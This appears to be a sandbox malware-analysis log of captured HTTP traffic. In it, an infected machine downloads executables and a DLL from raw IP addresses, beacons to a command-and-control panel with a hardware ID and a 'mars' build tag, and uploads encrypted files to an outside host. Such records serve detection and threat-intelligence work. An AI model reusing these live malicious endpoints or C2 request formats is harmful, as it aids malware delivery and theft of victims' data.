Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 46 43 35 42 38 43 39 44 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 2d 2d 0d 0a Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="hwid"0BFC5B8C9DB3476522507------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="build"mars------FHIEBKKFHIEGCAKECGHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDGDGIIDGCFIDHDHDHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 65 32 65 63 35 30 31 38 39 34 32 35 36 35 36 61 63 31 65 63 37 30 38 32 66 31 30 64 65 34 34 31 33 64 35 30 64 63 39 61 33 63 62 39 66 62 61 33 65 32 30 33 30 33 36 66 37 61 32 63 34 30 63 36 36 30 63 61 30 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="token"4de2ec50189425656ac1ec7082f10de4413d50dc9a3cb9fba3e203036f7a2c40c660ca01------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="message"browsers------AFHDGDGIIDGCFIDHDHDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 65 32 65 63 35 30 31 38 39 34 32 35 36 35 36 61 63 31 65 63 37 30 38 32 66 31 30 64 65 34 34 31 33 64 35 30 64 63 39 61 33 63 62 39 66 62 61 33 65 32 30 33 30 33 36 66 37 61 32 63 34 30 63 36 36 30 63 61 30 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"4de2ec50189425656ac1ec7082f10de4413d50dc9a3cb9fba3e203036f7a2c40c660ca01------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="message"plugins------DBFBFBGDBKJJKFIEHJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCBGDHIEBFHCBFHDHDHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 65 32 65 63 35 30 31 38 39 34 32 35 36 35 36 61 63 31 65 63 37 30 38 32 66 31 30 64 65 34 34 31 33 64 35 30 64 63 39 61 33 63 62 39 66 62 61 33 65 32 30 33 30 33 36 66 37 61 32 63 34 30 63 36 36 30 63 61 30 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="token"4de2ec50189425656ac1ec7082f10de4413d50dc9a3cb9fba3e203036f7a2c40c660ca01------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="message"fplugins------DHCBGDHIEBFHCBFHDHDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJHost: 185.215.113.206Content-Length: 6055Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 39 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007938001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------HNvJfBVChrrHXwMOi593QzData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 48 4e 76 4a 66 42 56 43 68 72 72 48 58 77 4d 4f 69 35 39 33 51 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 69 79 6f 6e 75 78 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1b 63 9c 64 3b df 73 a6 49 d3 df 2c 53 0f 33 55 78 f9 fe 59 ac a7 97 e1 89 0e 23 a2 1b 9c 08 67 91 3c e4 51 5b f6 12 11 c9 15 79 f3 82 8d 02 5f 78 8f 80 f2 52 0a 70 93 ce fe 4d a5 1f 83 75 f4 f6 b0 a5 10 59 94 4e 09 b8 b1 70 56 83 8f b9 c3 0a ca 0a f1 e1 2c a4 01 ee 10 4e fa 00 d0 e5 ee ed 50 eb 9d 0e 2d 52 04 3c d7 64 d9 6d 0e f6 06 5b 82 e8 e5 b1 4f 42 1c e6 2e 94 5b 22 84 ff 6f 4d a0 4c a3 77 76 e5 b3 a6 74 ee dd c9 bd 67 f9 8c 1e be 97 81 24 ef 91 6d 8b 9f 63 7d 64 e0 f1 dc ad c9 ee c9 47 ee e9 f1 d1 4b be bd a8 5b 06 b8 c0 4c 71 36 98 dc 76 82 47 0e 88 05 8b 0a 0e a8 24 29 69 fc bf 5b 7f cc ea e3 1e 0d c1 9a fb be 67 ac 0c 15 6d ae 24 01 a5 85 24 12 ee a1 7d 7e 26 bd 1b c1 90 44 bc 02 6b 69 fe 11 05 00 88 8c a6 f2 e9 a0 21 a5 76 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 48 4e 76 4a 66 42 56 43 68 72 72 48 58 77 4d 4f 69 35 39 33 51 7a 2d 2d 0d 0a Data Ascii: --------------------------HNvJfBVChrrHXwMOi593QzContent-Disposition: form-data; name="file"; filename="Riyonux.bin"Content-Type: application/octet-streamcd;sI,S3UxY#g<Q[y_xRpMuYNpV,NP-R<dm[OB.["oMLwvtg$mc}dGK[Lq6vG$)i[gm$$}~&Dki!v--------------------------HNvJfBVChrrHXwMOi593Qz--
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 70261Content-Type: multipart/form-data; boundary=------------------------KqKo8wUFPjL0Z1gQuypRNHData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4b 71 4b 6f 38 77 55 46 50 6a 4c 30 5a 31 67 51 75 79 70 52 4e 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 69 67 65 6a 75 63 75 6e 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 8e a7 94 4d b5 d8 f2 02 b5 05 d1 32 35 c4 d6 ec af 11 3a 7d 34 07 30 0a 78 f2 63 0f a8 fd ad f6 dc 11 de 3e 18 a9 27 e6 1d 46 7d 80 09 3c 17 37 cc a9 dc b7 72 ec c6 31 90 dd 75 a9 cf b7 30 27 09 5a 79 ff b1 bd 85 09 c9 07 ae ef 86 c9 c0 70 49 ec de 91 ca 01 69 3c d0 84 8a 7d 2c 57 4e 76 da bf 40 c1 28 eb 00 6b bd 3c 1e 0e 6c d2 97 39 2b d9 82 90 fa d4 72 9a 27 32 20 80 be 29 ff 86 2f 46 b7 1d 2d 34 60 3a 43 40 e1 b2 ed 43 c6 5f 9b 5a e9 38 b7 b7 2e 06 b5 47 19 d5 4f 0e d5 a6 5a b9 ef 43 7d 61 7b 2a 5e 04 b0 38 d2 3b 6b bd 2f 54 40 5e c3 54 e5 f5 e9 32 99 35 9e d1 f0 06 0a 96 1c 3f 2c 5a a4 d2 86 f7 95 1d 31 e2 d1 df 53 93 9f ca 3d 17 79 1d ab 57 77 77 2c 77 41 ed 5a f5 dc 82 a5 67 f1 53 2d 0d 5e 86 f7 3a 80 42 8b be 12 23 fe 77 4b 90 eb 8c 8b b3 1d 1e 17 2a 28 e2 e0 ae c1 cd 2c d1 61 5b bf b7 eb b5 67 34 ad 1a 21 18 2d c5 c4 df ea c4 17 ee 9c f7 d5 2f 3f 9e dc 1b 4b e4 17 a3 4b 34 9a 14 e9 e3 f5 7d aa a7 5f 51 20 de a6 8b 42 18 63 d1 94 92 14 a8 21 dc f7 dd 6a ff fa e7 e7 66 9c 59 9e 2d 2d 1f 3a ab 60 6e 0d a6 9b a7 b5 7f ae 2b f7 65 0a 92 95 26 7e b6 5c 29 74 bf db 01 11 90 9a 48 f9 1c af d0 ee 38 ce 2b 7a 77 36 71 b9 6a 5c f1 2f 16 22 27 7e 51 7a 3c ed 0d f6 33 20 ec 7c ab 5d 27 30 ed f7 40 c5 78 72 a4 ee ac 25 c2 54 cf 8b 20 5c ac 28 a5 e6 bb ea f8 f0 19 2b 00 be 00 40 7b f4 81 7a d4 57 9e a3 34 67 a7 50 1b 9b e6 18 a8 9a cc 7f 86 1e a9 2c e2 c1 f7 73 82 fb 38 0f cf aa 4f 01 4c fd bb d8 7f c7 e8 c4 8b 0c 07 c5 77 aa 76 54 a4 52 d6 86 80 8d 2b 64 ed 16 15 d3 9e 26 7c a0 9c 8a a0 b0 75 95 d9 b6 80 eb 5f d1 fb 85 78 5c 38 99 f6 4f 46 18 10 7e 3a dc 5f 84 df 20 ec 0c 81 cf 5d da 9d 8e d2 da 03 4c a2 e3 47 bb b1 57 d5 11 6a f7 f5 cd 30 db b6 36 cb 9f df cf c9 ff 96 7b 07 d3 83 2f 1d 1a 61 13 95 91 60 0a 46 de cc 64 76 2d 60 39 1a f3 aa e3 a1 91 8b 31 c2 53 64 9f 1f 1e f5 c2 61 97 51 61 87 e4 7e 1f 25 8d ca 42 c8 d7 b7 da f1 fb 1c 9c 7f af 47 bd 05 97 93 20 fa 6a 0e 98 31 20 a5 10 75 68 92 c0 9f 02 31 14 ad f8 ad 86 27 a2 ef 97 26 d0 4f d6 b5 59 27 f5 3c 05 a4 0d 36 b1 bd fc e6 92 9e 97 5a 5b 77 85 45 da b3 0d a1 c2 64 ce 75 2f 64 3f 7b e7 f7 26 66 e2 f2 cd 3d 39 23 c3 4b 3a 66 34 ec 73 54 62 9d 8b ed d6 a4 aa 21 27 91 9c 65 98 8e d5 f6 5c e2 cf 99 ac 96 f2 4a 24 a1 15 1d 3b e0 ad 74 df ea b4 cf 9b 66 9f 51 79 e5 ec f4 5b 5e 04 a3 f0 4f 4c 7f 91 04 ef 59 7a ed 06 81 a4 50 ac 29 c5 46
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 39 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007939001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 30413Content-Type: multipart/form-data; boundary=------------------------lZAQ4pHFQclJ7N7CtcKhMxData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6c 5a 41 51 34 70 48 46 51 63 6c 4a 37 4e 37 43 74 63 4b 68 4d 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 71 65 6c 65 77 69 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a d9 33 51 89 0b a5 0a ce 46 12 e1 ac ac bf 84 10 fd fe 32 66 b5 38 ea b1 a7 bd a3 e6 b6 58 ef 96 de a9 b5 1e 8f 23 d3 1f d5 83 9e 4e 73 c8 62 91 de d2 fb 38 8b cb e6 fb c7 3c 31 25 23 36 cf 8c ce 93 d9 8d 4d 7b 80 ea a0 eb ac 4a 99 a6 bc eb 96 f3 71 44 58 29 6a 6c c9 7f ca 3f 4d 94 b4 c9 03 5a cf fb b9 53 cb 78 94 d2 2f 0c e4 a7 d0 14 be 0f 9a dc cf c4 e6 08 cf 54 67 df 61 ce 2d 3c f1 90 c0 f5 78 6d 6e 48 12 f5 b4 00 5e 3d ae 1b 1e 13 db f9 61 29 97 7b be 5a f4 8b 55 6f 9b 83 c4 a3 ab bc c5 ba a6 4e 31 0a 3e 85 38 c5 a5 d8 4e a7 b4 4c 3e bc 77 cb 2f 1e 66 67 e3 dc 67 22 a6 f9 98 bd b4 1e 28 73 65 ff 28 d6 69 f0 93 58 a0 2f f4 6c 77 3c 7f b4 af 28 d8 67 26 87 af 4f 6b cb a0 10 21 b4 79 15 51 73 d2 e2 42 1a 3f 48 f8 10 b4 7b e9 d9 00 b7 88 5d 29 6a 9c 0d 4b e7 9f 6e f3 4e 8f f0 e0 2b 89 60 a5 87 17 f8 58 e9 48 89 b3 6d 1e 1f b3 35 16 3d 10 19 a3 f1 bf 99 14 db 62 cf 54 06 19 a1 65 a4 21 5e 1e 6a 25 65 a4 ef 9e af f0 0d ff 75 3a 4c 09 ea 2c 64 e9 21 ad 57 09 a5 83 7f dc 99 f5 5b eb f2 1d 6a 32 e4 79 8b 1a 80 23 63 39 9c 04 3c 36 7e a9 71 50 d4 95 6e 68 52 a5 2c 1c ea 47 f5 cb d6 c4 26 bc 5d 0e 6d 84 5b 52 06 f0 4d b6 6e b6 80 09 8b 08 b9 bc 1d 7d 8a 13 aa 53 3c 73 ad 00 f9 44 bc 52 75 de 6b 03 cd 2c bb aa 45 16 a2 df f5 79 c4 d8 dd c7 12 6d 2c 34 5e 0c c8 6a a7 f3 b8 61 08 46 46 f1 42 f0 21 26 55 dc 90 ec 7c 4b c4 9a 34 7a 0b c5 b2 f9 23 0d a9 03 d8 38 a6 0b d0 55 15 5c 58 0c 05 f8 1f 64 be 55 be 39 c6 bc 2e 32 db 1c 27 8a dd 6c 9c 98 8e f3 4e 19 15 e0 28 95 d1 70 a8 b0 6b 6c fe 61 4b c1 50 e9 24 1a 59 ea 8d 90 a7 b0 45 69 67 13 25 b8 24 c9 67 2a d9 f7 29 0e 19 55 a4 31 ac 1a b0 28 05 d4 88 93 3a d0 42 d4 77 51 47 c3 ae 4f 53 ff 0f 0a f9 e0 92 7d 55 3d 31 e5 30 c5 e5 09 c7 92 c8 57 cb 97 9d 89 eb 58 99 32 8e 3c fc 3b cd 7c 39 59 b1 c6 2f 39 66 3a 9f 7d 30 fb f4 83 6c e2 bc 33 27 0d a5 bb f8 99 09 b8 58 16 91 32 79 44 ff 58 99 92 bc ea ab ef 4e 47 ca bf 18 c3 18 47 30 89 08 c4 da 67 7d 62 c3 92 44 c7 e3 a5 87 25 ae 55 69 20 1e 52 79 6f 30 22 99 d4 ec 13 59 4d 93 9b 94 04 f3 d9 13 ab 9b bb cb 04 5b 7f f3 9f 7e 43 e5 03 ec 47 5b b0 67 e8 83 e3 ce e7 a3 c4 7e 98 4a 87 24 3b 60 74 9c d9 bd 95 29 93 b3 5d 6c ae 60 df 2a 83 e0 72 84 fd e4 16 30 70 f6 04 0d f6 d7 75 08 43 b2 77 e7 82 60 e1 d0 d3 17 db 54 0c 1c 49 64 66 e8 fb e2 0d 66 1f 12 94 9e 93 3f 56 ef 7f 04 10 c2 d5 1d df e7 fa fb 69 43
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAECFCAAECBGDGDHIEHJHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 46 43 35 42 38 43 39 44 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 2d 2d 0d 0a Data Ascii: ------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="hwid"0BFC5B8C9DB3476522507------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="build"mars------BAECFCAAECBGDGDHIEHJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
